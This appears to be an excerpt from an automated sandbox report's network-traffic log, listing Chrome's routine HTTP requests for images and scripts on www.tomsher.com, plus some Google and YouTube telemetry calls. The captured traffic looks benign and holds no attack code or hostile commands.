Source: global traffic	HTTP traffic detected: GET /assets/images/menu/payment-check.png HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/adwords.png HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/custom_ecommerce.png HTTP/1.1Host: www.tomsher.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true&authuser=0 HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=517=ylu3SfIdsVLC_CHJuNK6_egYjIZZxUDFJ_cj1fT_2BK-RHIkQMCDF3SxlhTWanGSvI-ortHlt71N1ulTaErrJpJMlpAvjXGGiOjIWOV5dBabNo6yHeraOvwQrYHrXF9zX11rdAVXQUu84TjdSC40o0yHl5-pR7W7r68n0V8OnPW4GDi2GjED2FnwMP0
Source: global traffic	HTTP traffic detected: GET /assets/imgs/logo.png HTTP/1.1Host: www.tomsher.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/adobe.png HTTP/1.1Host: www.tomsher.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/opencart.png HTTP/1.1Host: www.tomsher.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/js/jquery-3.6.0.min.js HTTP/1.1Host: www.tomsher.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/multimedia.png HTTP/1.1Host: www.tomsher.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/api.png HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/wordpress.png HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/web_portal.png HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/imgs/header/srv.webp HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/imgs/menu2.webp HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/g-d-ad.png HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/web-application.png HTTP/1.1Host: www.tomsher.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/procurement.png HTTP/1.1Host: www.tomsher.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/imgs/menu3.png HTTP/1.1Host: www.tomsher.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/Omnichannel.png HTTP/1.1Host: www.tomsher.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/meta.png HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/imgs/menu4.webp HTTP/1.1Host: www.tomsher.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true&authuser=0 HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=517=ylu3SfIdsVLC_CHJuNK6_egYjIZZxUDFJ_cj1fT_2BK-RHIkQMCDF3SxlhTWanGSvI-ortHlt71N1ulTaErrJpJMlpAvjXGGiOjIWOV5dBabNo6yHeraOvwQrYHrXF9zX11rdAVXQUu84TjdSC40o0yHl5-pR7W7r68n0V8OnPW4GDi2GjED2FnwMP0
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/custom-web.png HTTP/1.1Host: www.tomsher.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/students.png HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/imgs/icon/menu-black.png HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/career.png HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/shared-hosting.png HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/squarespace.png HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/fresha.png HTTP/1.1Host: www.tomsher.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/vps.png HTTP/1.1Host: www.tomsher.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/tomsher.png HTTP/1.1Host: www.tomsher.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/world-wide-web.png HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/imgs/captcha.jpg HTTP/1.1Host: www.tomsher.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/sms.png HTTP/1.1Host: www.tomsher.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/contact_us.png HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/brochure.png HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/school.png HTTP/1.1Host: www.tomsher.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true&authuser=0 HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=517=ylu3SfIdsVLC_CHJuNK6_egYjIZZxUDFJ_cj1fT_2BK-RHIkQMCDF3SxlhTWanGSvI-ortHlt71N1ulTaErrJpJMlpAvjXGGiOjIWOV5dBabNo6yHeraOvwQrYHrXF9zX11rdAVXQUu84TjdSC40o0yHl5-pR7W7r68n0V8OnPW4GDi2GjED2FnwMP0
Source: global traffic	HTTP traffic detected: GET /youtubei/v1/log_event?alt=json&key=AIzaSyAO_FJ2SlqU8Q4STEHLGCilw_Y9_11qcW8 HTTP/1.1Host: www.youtube.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/business-partner.webp HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/employee.png HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/e_brochure.png HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/ecwid.png HTTP/1.1Host: www.tomsher.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/payment-check.png HTTP/1.1Host: www.tomsher.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/cdn.png HTTP/1.1Host: www.tomsher.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/googlebusiness.png HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/adwords.png HTTP/1.1Host: www.tomsher.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/api.png HTTP/1.1Host: www.tomsher.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/images/menu/email.png HTTP/1.1Host: www.tomsher.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.tomsher.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
